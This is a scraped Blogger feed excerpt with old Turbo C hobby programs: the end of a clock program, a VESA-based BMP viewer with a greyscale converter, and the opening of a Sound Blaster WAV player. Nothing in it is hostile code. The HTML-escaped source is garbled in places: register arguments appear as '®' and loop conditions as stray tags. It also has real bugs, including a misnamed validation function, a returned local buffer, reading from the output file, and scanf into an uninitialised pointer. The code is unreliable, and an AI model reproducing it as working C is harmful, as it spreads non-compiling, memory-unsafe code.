rectangle(50,300,50+i,310);&lt;br /&gt;   delay(5);&lt;br /&gt; }&lt;br /&gt; settextstyle(TRIPLEX_FONT, HORIZ_DIR, 1);&lt;br /&gt; outtextxy(380,400,"Loading..............");&lt;br /&gt; delay(1000);&lt;br /&gt;}&lt;br /&gt;void sound()&lt;br /&gt;{&lt;br /&gt; sound(2000);&lt;br /&gt; delay(100);&lt;br /&gt; nosound();&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-8037670092458613837?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/8037670092458613837/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/clock-program-in-c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8037670092458613837'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/8037670092458613837'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/clock-program-in-c.html' title='CLOCK PROGRAM in C'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-3000405163735933016</id><published>2011-03-20T20:17:00.001-07:00</published><updated>2011-03-20T20:17:02.955-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='graphics'/><title type='text'>C program to display bitmap images(*.bmp)</title><content type='html'>Code :&lt;br /&gt;#include stdio.h&lt;br /&gt;#include conio.h&lt;br /&gt;#include dos.h&lt;br /&gt;#define DECLARE&lt;br /&gt;&lt;br /&gt;#define VGALOW 0x101&lt;br /&gt;&lt;br /&gt;typedef unsigned int UINT;&lt;br /&gt;typedef unsigned char UCHAR;&lt;br /&gt;struct VgaInfoBlock {&lt;br /&gt;&amp;nbsp;char signature[4];&lt;br /&gt;&amp;nbsp;short version;&lt;br /&gt;&amp;nbsp;char far &amp;nbsp;*oemname;&lt;br /&gt;long capabilities;&lt;br /&gt;unsigned far *modes;&lt;br /&gt;char buffer[238];&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;typedef struct&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;char red;&lt;br /&gt;char green;&lt;br /&gt;char blue;&lt;br /&gt;}RGB;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;struct VgaModeInfoBlock&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;UINT ModeAttributes;&lt;br /&gt;UCHAR WinAAttributes;&lt;br /&gt;UCHAR WinBAttributes;&lt;br /&gt;UINT WindowGranularity;&lt;br /&gt;UINT WinSize;&lt;br /&gt;UINT WinASegment;&lt;br /&gt;UINT WinBSegment;&lt;br /&gt;void (far *WinFuncPtr)(void);&lt;br /&gt;UINT BytesperScanLine;&lt;br /&gt;UINT XResolution;&lt;br /&gt;UINT YResolution;&lt;br /&gt;UCHAR XCharSize;&lt;br /&gt;UCHAR YCharSize;&lt;br /&gt;UCHAR NumberOfPlanes;&lt;br /&gt;UCHAR BitsPerPixel;&lt;br /&gt;UCHAR NumberOfBanks;&lt;br /&gt;UCHAR MemoryModel;&lt;br /&gt;UCHAR BankSize;&lt;br /&gt;UCHAR NumberOfImagePages;&lt;br /&gt;UCHAR Reserved1;&lt;br /&gt;UCHAR RedMaskSize;&lt;br /&gt;UCHAR RedMaskPosition;&lt;br /&gt;UCHAR GreenMaskSize;&lt;br /&gt;UCHAR GreenMaskPosition;&lt;br /&gt;UCHAR BlueMaskSize;&lt;br /&gt;UCHAR BlueMaskPosition;&lt;br /&gt;UCHAR ReservedMaskSize;&lt;br /&gt;UCHAR ReservedMskPosition;&lt;br /&gt;UCHAR DirectScreenModeInfo;&lt;br /&gt;UCHAR Reserved2[216];&lt;br /&gt;}modeinfo;&lt;br /&gt;&lt;br /&gt;typedef enum&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;memPL = 3,&lt;br /&gt;memPK = 4,&lt;br /&gt;memRGB = 6,&lt;br /&gt;memYUV = 7&lt;br /&gt;}memModels;&lt;br /&gt;&lt;br /&gt;typedef struct tagBMPHEADER&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;unsigned char bftype[2];&lt;br /&gt;unsigned long bfsize;&lt;br /&gt;unsigned int bfres1,bfres2;&lt;br /&gt;unsigned long bfoffbits;&lt;br /&gt;unsigned long bisize,biwidth,biheight;&lt;br /&gt;unsigned int biplanes,bibitcount;&lt;br /&gt;unsigned long&lt;br /&gt;bicompression,bisizeimage,bixpelspermeter,biypelspermeter;&lt;br /&gt;unsigned long biclrused,biclrimportant;&lt;br /&gt;}BMPHEADER;&lt;br /&gt;typedef struct tagRGBQUAD&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;unsigned char blue,green,red,rgbreserved;&lt;br /&gt;}RGBQUAD;&lt;br /&gt;typedef struct tagBMPINFO&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;BMPHEADER bmiheader;&lt;br /&gt;&amp;nbsp;RGBQUAD bmicolors[256];&lt;br /&gt;}BMPINFO;&lt;br /&gt;&lt;br /&gt;DECLARE int maxx,maxy;&lt;br /&gt;DECLARE int xres,yres;&lt;br /&gt;DECLARE int bytesperline;&lt;br /&gt;DECLARE int curbank;&lt;br /&gt;DECLARE unsigned int bankshift;&lt;br /&gt;DECLARE int oldmode;&lt;br /&gt;DECLARE char far *screenptr;&lt;br /&gt;DECLARE void (far *bankswitch)(void);&lt;br /&gt;DECLARE int pcolor,xp,yp;&lt;br /&gt;DECLARE int ccolor;&lt;br /&gt;&lt;br /&gt;DECLARE int GetVesaMode(void);&lt;br /&gt;DECLARE void SetVseaMode(int);&lt;br /&gt;DECLARE void setbank(int);&lt;br /&gt;DECLARE void SetPalette(RGB pal[256]);&lt;br /&gt;DECLARE void vinitgraph(int);&lt;br /&gt;DECLARE void setwidth(int);&lt;br /&gt;DECLARE void vclosegraph(void);&lt;br /&gt;DECLARE void startaddr(int *,int *,int);&lt;br /&gt;DECLARE void vputpixel(int,int,int);&lt;br /&gt;DECLARE void SetPalette(RGB color[256]);&lt;br /&gt;DECLARE char *ReadMemString(char far *);&lt;br /&gt;DECLARE void showbitmap(char *infname,int xs,int ys);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void Vesa(int state)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;union REGS reg;&lt;br /&gt;reg.x.ax=0x4FFF;&lt;br /&gt;reg.h.dl=(char ) state;&lt;br /&gt;int86(0x10,®,®);&lt;br /&gt;return ;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int GetSvgaInfo(struct VgaInfoBlock far *buffer)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;struct REGPACK reg;&lt;br /&gt;reg.r_ax = 0x4F00;&lt;br /&gt;reg.r_es = FP_SEG(buffer);&lt;br /&gt;reg.r_di = FP_OFF(buffer);&lt;br /&gt;intr(0x10,®);&lt;br /&gt;if(reg.r_ax==0x004F)&lt;br /&gt;&amp;nbsp;return 0;&lt;br /&gt;else&lt;br /&gt;&amp;nbsp;return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;char *ReadMemString(char far *pointer)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;char string[200];&lt;br /&gt;int i=0;&lt;br /&gt;while(*pointer)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;string[i]=*pointer;&lt;br /&gt;&amp;nbsp;pointer++;&lt;br /&gt;i++;&lt;br /&gt;}&lt;br /&gt;string[i]=0;&lt;br /&gt;return string;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int GetSvgaModeInfo(int mode,struct VgaModeInfoBlock far *buffer)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;struct REGPACK reg;&lt;br /&gt;reg.r_ax = 0x4F01;&lt;br /&gt;reg.r_es = FP_SEG(buffer);&lt;br /&gt;reg.r_di = FP_OFF(buffer);&lt;br /&gt;reg.r_cx=mode;&lt;br /&gt;intr(0x10,®);&lt;br /&gt;if(reg.r_ax!=0x004F)&lt;br /&gt;&amp;nbsp;return 1;&lt;br /&gt;else&lt;br /&gt;&amp;nbsp;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int GetVesaMode(void)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;union REGS in,out;&lt;br /&gt;in.x.ax=0x4F03;&lt;br /&gt;int86(0x10,&amp;amp;in,&amp;amp;out);&lt;br /&gt;return out.x.bx;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void SetVesaMode(int mode)&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;struct REGPACK reg;&lt;br /&gt;oldmode = GetVesaMode();&lt;br /&gt;reg.r_ax = 0x4F02;&lt;br /&gt;reg.r_bx=mode;&lt;br /&gt;intr(0x10,®);&lt;br /&gt;GetSvgaModeInfo(GetVesaMode(), &amp;amp;modeinfo);&lt;br /&gt;&lt;br /&gt;xres = modeinfo.XResolution;&lt;br /&gt;yres = modeinfo.YResolution;&lt;br /&gt;&lt;br /&gt;maxx=xres;&lt;br /&gt;bytesperline = modeinfo.BytesperScanLine;&lt;br /&gt;bankshift = 0;&lt;br /&gt;while((unsigned ) (64 &amp;gt;&amp;gt; bankshift)!= modeinfo.WindowGranularity)&lt;br /&gt;&amp;nbsp;bankshift++;&lt;br /&gt;bankswitch = modeinfo.WinFuncPtr;&lt;br /&gt;curbank=-1;&lt;br /&gt;screenptr = (char far *)( ((long) 0xA000 )&amp;lt;&amp;lt;16 | 0);&lt;br /&gt;&lt;br /&gt;return ;&lt;br /&gt;}&lt;br /&gt;void setbank(int bank)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;if(bank==curbank)&lt;br /&gt;&amp;nbsp;&amp;nbsp; return;&lt;br /&gt;&amp;nbsp;&amp;nbsp;curbank = bank;&lt;br /&gt;bank&amp;lt;&amp;lt;=bankshift;&lt;br /&gt;_BX=0;&lt;br /&gt;_DX=bank;&lt;br /&gt;bankswitch();&lt;br /&gt;_BX=1;&lt;br /&gt;bankswitch();&lt;br /&gt;return ;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void SetPalette(RGB pal[256])&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;union REGS reg;&lt;br /&gt;&amp;nbsp;struct SREGS inreg;&lt;br /&gt;&amp;nbsp;reg.x.ax=0x1012;&lt;br /&gt;&amp;nbsp;segread(&amp;amp;inreg);&lt;br /&gt;&amp;nbsp;inreg.es = inreg.ds;&lt;br /&gt;&amp;nbsp;reg.x.bx=0;&lt;br /&gt;reg.x.cx=256;&lt;br /&gt;reg.x.dx=(int ) &amp;amp;pal[0];&lt;br /&gt;int86x(0x10,®,®,&amp;amp;inreg);&lt;br /&gt;return ;&lt;br /&gt;}&lt;br /&gt;void vputpixel(int x,int y,int c)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;long addr = (long ) y * &amp;nbsp;bytesperline + x;&lt;br /&gt;setbank((int) (addr&amp;gt;&amp;gt;16));&lt;br /&gt;*(screenptr+(addr &amp;amp; 0xFFFF))=(char) c;&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;void setwidth(int width)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;union REGS in,out;&lt;br /&gt;in.x.ax = 0x4F06;&lt;br /&gt;in.x.bx=0x0000;&lt;br /&gt;in.x.cx=width;&lt;br /&gt;int86(0x10,&amp;amp;in,&amp;amp;out);&lt;br /&gt;&lt;br /&gt;bytesperline = (int ) out.x.bx;&lt;br /&gt;maxy = (int ) out.x.dx;&lt;br /&gt;maxx = (int ) out.x.cx;&lt;br /&gt;return ;&lt;br /&gt;}&lt;br /&gt;void vinitgraph(int mode)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;SetVesaMode(mode);&lt;br /&gt;&amp;nbsp;setwidth(xres);&lt;br /&gt;return ;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void vclosegraph(void)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;vinitgraph(oldmode);&lt;br /&gt;/*&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;union REGS regs;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;regs.h.ah = 0x00;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;regs.h.al = 0x03;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;	&lt;/span&gt;int86(0x10, ®s, ®s);*/&lt;br /&gt;&amp;nbsp;maxx=xres;&lt;br /&gt;}&lt;br /&gt;void startaddr(int *xs,int *ys,int mode)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;union REGS in,out;&lt;br /&gt;in.x.ax = 0x4F07;&lt;br /&gt;if(mode==0)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;in.x.bx=0x0000;&lt;br /&gt;&amp;nbsp;&amp;nbsp;in.x.cx=*xs;&lt;br /&gt;&amp;nbsp;&amp;nbsp;in.x.dx = *ys;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;else&lt;br /&gt;&amp;nbsp;in.x.bx = 0x0001;&lt;br /&gt;int86(0x10,&amp;amp;in,&amp;amp;out);&lt;br /&gt;if(mode==1)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; *xs = out.x.cx;&lt;br /&gt;&amp;nbsp;&amp;nbsp; *ys = out.x.dx;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;return ;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;char ISValidBitmap(char *fname)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;BMPINFO bmpinfo;&lt;br /&gt;&amp;nbsp;FILE *fp;&lt;br /&gt;&amp;nbsp;if((fp = fopen(fname,"rb+"))==NULL)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;printf("&lt;br /&gt;Unable open the file %s",fname,"!!");&lt;br /&gt;&amp;nbsp;&amp;nbsp;return 0;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;fread(&amp;amp;bmpinfo,sizeof(bmpinfo),1,fp);&lt;br /&gt;&amp;nbsp;fclose(fp);&lt;br /&gt;&amp;nbsp;if(!(bmpinfo.bmiheader.bftype[0]=='B' &amp;amp;&amp;amp;&lt;br /&gt;bmpinfo.bmiheader.bftype[1]=='M'))&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;printf("&lt;br /&gt;can't read the file: not a valid BMP file!");&lt;br /&gt;&amp;nbsp;&amp;nbsp;return 0;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;if(!bmpinfo.bmiheader.bicompression==0)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;printf("&lt;br /&gt;can't read the file: should not be a RLR encoded!!");&lt;br /&gt;&amp;nbsp;&amp;nbsp;return 0;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;if(!bmpinfo.bmiheader.bibitcount==8)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;printf("can't read the file: should be 8-bit per color format!!");&lt;br /&gt;&amp;nbsp;return 0;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void showbitmap(char *infname,int xs,int ys)&lt;br /&gt;{&lt;br /&gt;BMPINFO bmpinfo;&lt;br /&gt;RGB pal[256];&lt;br /&gt;FILE *fpt;&lt;br /&gt;int i,j,w,h,c,bank;&lt;br /&gt;unsigned char byte[1056];&lt;br /&gt;long addr;&lt;br /&gt;unsigned int k;&lt;br /&gt;if((fpt=fopen(infname,"rb+"))==NULL)&lt;br /&gt;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;printf("&lt;br /&gt;Error opening file ");&lt;br /&gt;&amp;nbsp;&amp;nbsp;getch();&lt;br /&gt;&amp;nbsp;&amp;nbsp;return 1;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;fread(&amp;amp;bmpinfo,sizeof(bmpinfo),1,fpt);&lt;br /&gt;fseek(fpt,bmpinfo.bmiheader.bfoffbits,SEEK_SET);&lt;br /&gt;w = bmpinfo.bmiheader.biwidth;&lt;br /&gt;h = bmpinfo.bmiheader.biheight;&lt;br /&gt;for(i=0;i&amp;lt;=255;i++)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;pal[i].red = bmpinfo.bmicolors[i].red/4;&lt;br /&gt;pal[i].green = bmpinfo.bmicolors[i].green/4;&lt;br /&gt;pal[i].blue = bmpinfo.bmicolors[i].blue/4;&lt;br /&gt;}&lt;br /&gt;vinitgraph(VGALOW);&lt;br /&gt;setwidth(1000);&lt;br /&gt;SetPalette(pal);&lt;br /&gt;for(i=0;i&lt;h;i++)&lt; p=""&gt;&lt;/h;i++)&lt;&gt;&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; fread(&amp;amp;byte[0],sizeof(unsigned char),w,fpt);&lt;br /&gt;&amp;nbsp;for(j=0;j&lt;w;j++)&lt; p=""&gt;&lt;/w;j++)&lt;&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp; c= (int ) byte[j];&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; addr= (long) (ys+h-i)*bytesperline+xs+j;&lt;br /&gt;bank = (int ) (addr &amp;gt;&amp;gt;16);&lt;br /&gt;if(curbank!= bank)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;curbank =bank;&lt;br /&gt;bank&amp;lt;&amp;lt;=bankshift;&lt;br /&gt;_BX=0;&lt;br /&gt;_DX=bank;&lt;br /&gt;bankswitch();&lt;br /&gt;_BX=1;&lt;br /&gt;bankswitch();&lt;br /&gt;}&lt;br /&gt;*(screenptr+(addr &amp;amp; 0xFFFF)) = (char ) c;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;fclose(fpt);&lt;br /&gt;getch();&lt;br /&gt;vclosegraph();&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int ColorToGrey(char *infname,int xs,int ys)&lt;br /&gt;{&lt;br /&gt;BMPINFO bmpinfo;&lt;br /&gt;FILE *fpt1,*fpt2;&lt;br /&gt;char fname[13];&lt;br /&gt;unsigned char r,g,b,byte[1056],pal[256];&lt;br /&gt;double e,grey;&lt;br /&gt;int i,j,h,w,pcnt=0;&lt;br /&gt;long size,curpos;&lt;br /&gt;strcpy(fname,infname);&lt;br /&gt;fpt2=fopen("Grey.bmp","wb");&lt;br /&gt;if((fpt1=fopen(fname,"rb+"))==NULL)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;printf("can't open the file %s",infname);&lt;br /&gt;getch();&lt;br /&gt;return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;clrscr();&lt;br /&gt;printf("Preparing taget file..");&lt;br /&gt;fseek(fpt1,0,SEEK_END);&lt;br /&gt;size = ftell(fpt1) + 256;&lt;br /&gt;fseek(fpt1,0,SEEK_SET);&lt;br /&gt;fread(&amp;amp;bmpinfo,sizeof(bmpinfo),1,fpt1);&lt;br /&gt;curpos=ftell(fpt1);&lt;br /&gt;pcnt = (int )ceil((float) curpos *100.0/(float) size);&lt;br /&gt;gotoxy(25,1);&lt;br /&gt;printf("%d completed",pcnt);&lt;br /&gt;for(i=0;i&amp;lt;=255;i++)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;r = bmpinfo.bmicolors[i].red;&lt;br /&gt;&amp;nbsp;g = bmpinfo.bmicolors[i].green;&lt;br /&gt;&amp;nbsp;b = bmpinfo.bmicolors[i].blue;&lt;br /&gt;grey = (double) 0.3 * (double ) r+ (double ) 0.11 * (double ) b +&lt;br /&gt;(double ) 0.59 * (double) g;&lt;br /&gt;if(grey-(int) grey &amp;gt;=0.5)&lt;br /&gt;&amp;nbsp;grey++;&lt;br /&gt;if(grey&amp;gt;255)&lt;br /&gt;&amp;nbsp;grey=255;&lt;br /&gt;pal[i]=(unsigned char ) grey;&lt;br /&gt;bmpinfo.bmicolors[i].red = (unsigned char ) i;&lt;br /&gt;bmpinfo.bmicolors[i].green = (unsigned char ) i;&lt;br /&gt;bmpinfo.bmicolors[i].blue = (unsigned char ) i;&lt;br /&gt;curpos++;&lt;br /&gt;}&lt;br /&gt;bmpinfo.bmiheader.biclrused=0;&lt;br /&gt;i = bmpinfo.bmiheader.bfoffbits;&lt;br /&gt;bmpinfo.bmiheader.bfoffbits=1078;&lt;br /&gt;fwrite(&amp;amp;bmpinfo,sizeof(bmpinfo),1,fpt2);&lt;br /&gt;fseek(fpt1,i,SEEK_SET);&lt;br /&gt;fseek(fpt2,bmpinfo.bmiheader.bfoffbits,SEEK_SET);&lt;br /&gt;w=bmpinfo.bmiheader.biwidth;&lt;br /&gt;h = bmpinfo.bmiheader.biheight;&lt;br /&gt;curpos = ftell(fpt1) + 256;&lt;br /&gt;for(i=0;i&lt;h;i++)&lt; p=""&gt;&lt;/h;i++)&lt;&gt;&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;fread(&amp;amp;byte[0],sizeof(unsigned char),w,fpt2);&lt;br /&gt;&amp;nbsp;for(j=0;j&lt;w;j++)&lt; p=""&gt;&lt;/w;j++)&lt;&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; byte[j]=pal[byte[j]];&lt;br /&gt;&amp;nbsp;fwrite(&amp;amp;byte[0],sizeof(unsigned char ) , w,fpt2);&lt;br /&gt;curpos+=w;&lt;br /&gt;pcnt = (int )ceil((float) curpos *100.0/(float) size);&lt;br /&gt;gotoxy(25,1);&lt;br /&gt;printf("%d completed",pcnt);&lt;br /&gt;}&lt;br /&gt;fclose(fpt1);&lt;br /&gt;fclose(fpt2);&lt;br /&gt;showbitmap("Grey.bmp",xs,ys);&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;char file[13];&lt;br /&gt;&amp;nbsp;&amp;nbsp;memset(file,0,13);&lt;br /&gt;&amp;nbsp;clrscr();&lt;br /&gt;&amp;nbsp;printf("&lt;br /&gt;Enter the file name[*.bmp]:");&lt;br /&gt;&amp;nbsp;scanf("%s",file);&lt;br /&gt;&amp;nbsp;if(IsValidBitmap(file))&lt;br /&gt;&amp;nbsp;&amp;nbsp; showbitmap(file,0,0);&lt;br /&gt;&amp;nbsp;else&lt;br /&gt;&amp;nbsp;&amp;nbsp; printf("&lt;br /&gt;Not a valid bitmap file");&lt;br /&gt;&amp;nbsp;printf("&lt;br /&gt;That's all folks");&lt;br /&gt;&amp;nbsp;&amp;nbsp; getch();&lt;br /&gt;&lt;br /&gt;&amp;nbsp;}&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3212903768842836920-3000405163735933016?l=cmagical.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cmagical.blogspot.com/feeds/3000405163735933016/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-program-to-display-bitmap-imagesbmp.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3000405163735933016'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3212903768842836920/posts/default/3000405163735933016'/><link rel='alternate' type='text/html' href='http://cmagical.blogspot.com/2011/03/c-program-to-display-bitmap-imagesbmp.html' title='C program to display bitmap images(*.bmp)'/><author><name>Lakshmikandh</name><uri>http://www.blogger.com/profile/12647007442815461878</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3212903768842836920.post-168900412865595434</id><published>2011-03-20T20:15:00.001-07:00</published><updated>2011-03-20T20:15:32.259-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Multimedia'/><title type='text'>WAV file player in C</title><content type='html'>/*************************************************************************&lt;br /&gt;***&lt;br /&gt;** WARNING: You need a HUGE memory model to run this.&lt;br /&gt;**&lt;br /&gt;**************************************************************************&lt;br /&gt;**/&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;***&lt;br /&gt;&lt;br /&gt;********Created by T.V.Gokul.Thiagarajar College of&lt;br /&gt;Engineering-Madurai******&lt;br /&gt;&lt;br /&gt;If U have any Queries,Feel free to mailme&lt;br /&gt;at:gokultv_ece@rediffmail.com******/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//Include files&lt;br /&gt;#include "ALLOC.H"&lt;br /&gt;#include "DOS.H"&lt;br /&gt;#include "CONIO.H"&lt;br /&gt;#include "STDIO.H"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;char *name;&lt;br /&gt;&amp;nbsp;printf("&lt;br /&gt;&amp;nbsp;Enter the file name...:");&lt;br /&gt;&amp;nbsp;scanf("%s",name);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;playwav(name,1.0);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;void playwav(char wavefile[14],float delaytime);&lt;br /&gt;struct WaveData {&lt;br /&gt;&amp;nbsp;&amp;nbsp;unsigned int SoundLength, Frequency;&lt;br /&gt;&amp;nbsp;&amp;nbsp;char *Sample;&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;struct HeaderType {&lt;br /&gt;&amp;nbsp;&amp;nbsp;long &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; RIFF; &amp;nbsp; &amp;nbsp; &amp;nbsp;//RIFF header&lt;br /&gt;&amp;nbsp;&amp;nbsp;char &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; NI1 [18]; &amp;nbsp;//not important&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;unsigned int Channels; &amp;nbsp;//channels 1 = mono; 2 = stereo&lt;br /&gt;&amp;nbsp;&amp;nbsp;long &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Frequency; //sample frequency&lt;br /&gt;&amp;nbsp;&amp;nbsp;char &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; NI2 [6]; &amp;nbsp; //not important&lt;br /&gt;&amp;nbsp;&amp;nbsp;char &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; BitRes; &amp;nbsp; &amp;nbsp;//bit resolution 8/16 bit&lt;br /&gt;&amp;nbsp;&amp;nbsp;char &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; NI3 [12]; &amp;nbsp;//not important&lt;br /&gt;} Header;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;struct WaveData Voice; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; //Pointer to wave file&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;unsigned int &amp;nbsp; &amp;nbsp;Base; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;//Sound Blaster base address&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;char &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;WaveFile [25]; //File name for the wave file to be played&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;***&lt;br /&gt;** Checks to see if a Sound Blaster exists at a given address, returns&lt;br /&gt;**&lt;br /&gt;** true if Sound Blaster found, false if not.&lt;br /&gt;**&lt;br /&gt;**************************************************************************&lt;br /&gt;**/&lt;br /&gt;int ResetDSP(unsigned int Test)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Reset the DSP&lt;br /&gt;&amp;nbsp;&amp;nbsp;outportb (Test + 0x6, 1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;delay(10);&lt;br /&gt;&amp;nbsp;&amp;nbsp;outportb (Test + 0x6, 0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;delay(10);&lt;br /&gt;&amp;nbsp;&amp;nbsp;//Check if (reset was succesfull&lt;br /&gt;&amp;nbsp;&amp;nbsp;if ((inportb(Test + 0xE) &amp;amp; 0x80 == 0x80) &amp;amp;&amp;amp; (inportb(Test + 0xA) ==&lt;br /&gt;0xAA))&lt;br /&gt;&amp;nbsp;&amp;nbsp;{&lt;br 